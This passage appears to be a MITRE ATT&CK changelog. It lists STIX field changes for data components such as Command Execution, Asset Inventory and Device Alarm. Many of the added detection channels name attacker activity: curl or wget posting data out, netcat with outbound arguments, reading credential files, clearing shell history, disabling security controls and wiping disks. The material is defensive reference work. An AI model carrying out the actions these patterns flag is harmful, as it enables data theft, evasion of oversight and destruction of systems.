Auto-forward rules, delegate assignments, or changes to financial approval workflows'}, {'name': 'm365:unified', 'channel': 'MailSend: Outlook messages with suspicious subject/body terms (e.g., urgent payment, wire transfer) targeting finance teams'}, {'name': 'm365:unified', 'channel': 'FileAccessed, FileDownloaded, SearchQueried'}, {'name': 'm365:unified', 'channel': 'Detection of hidden macro streams or SetHiddenAttribute actions'}, {'name': 'm365:unified', 'channel': 'RunMacro'}, {'name': 'azure:audit', 'channel': 'App registrations or consent grants by abnormal users or at unusual times'}, {'name': 'azure:signinlogs', 'channel': 'Resource access initiated using application credentials, not user accounts'}, {'name': 'saas:slack', 'channel': 'OAuth token use by unknown app client_id accessing private channels or files'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels'}, {'name': 'linux:syslog', 'channel': 'sshd sessions with unusual port forwarding parameters'}, {'name': 'saas:audit', 'channel': 'Application added or consent granted: Integration persisting after original user disabled'}, {'name': 'linux:syslog', 'channel': 'Non-standard processes negotiating SSL/TLS key exchanges'}, {'name': 'esxi:vpxd', 'channel': 'ESXi process initiating asymmetric handshake with external host'}, {'name': 'WinEventLog:Application', 'channel': 'Unusual DLL/plugin registration for IIS/SQL/Apache or unexpected error logs'}, {'name': 'linux:syslog', 'channel': 'Module registration or stacktrace logs indicating segmentation faults or unknown module errors'}, {'name': 'esxi:hostd', 'channel': 'New extension/module install with unknown vendor ID'}, {'name': 'm365:unified', 'channel': 'FileUploaded or FileCopied events'}, {'name': 'saas:salesforce', 'channel': 'DataExport, RestAPI, Login, ReportExport'}, {'name': 'saas:hubspot', 'channel': 'contact_viewed, contact_exported, login'}, {'name': 'saas:slack', 'channel': 'conversations.history, files.list, users.info, audit_logs'}, {'name': 'm365:unified', 'channel': 'TeamsMessageAccess, TeamsExport, ExternalAppAccess'}, {'name': 'm365:unified', 'channel': 'TeamsMessagesAccessedViaEDiscovery, TeamsGraphMessageExport'}, {'name': 'm365:unified', 'channel': 'FileAccessed'}, {'name': 'm365:messagetrace', 'channel': 'X-MS-Exchange-Organization-AutoForwarded'}, {'name': 'linux:syslog', 'channel': 'Segfaults, kernel oops, or crashes in security software processes'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal terminations of com.apple.security.* or 3rd-party security daemons'}, {'name': 'AWS:CloudTrail', 'channel': 'StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services'}, {'name': 'm365:unified', 'channel': 'ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:35.474000+00:00	2025-10-21 15:14:36.580000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0110] Asset Inventory

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0110', 'external_id': 'DC0110'}]
x_mitre_log_sources		[{'name': 'Asset', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:50.339000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources		[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust\|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, {'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm\|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage\|grep pam_pwquality\|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy\|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa' OR 'show running-config \| include password\|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl\|tar\|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl\|wget\|bash\|sh\|python\|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/ followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:30.145000+00:00	2025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.2	2.0

[DC0108] Device Alarm

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0108', 'external_id': 'DC0108'}]
x_mitre_log_sources		[{'name': 'Operational Databases', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552

values_changed
STIX Field	Old value	New Value
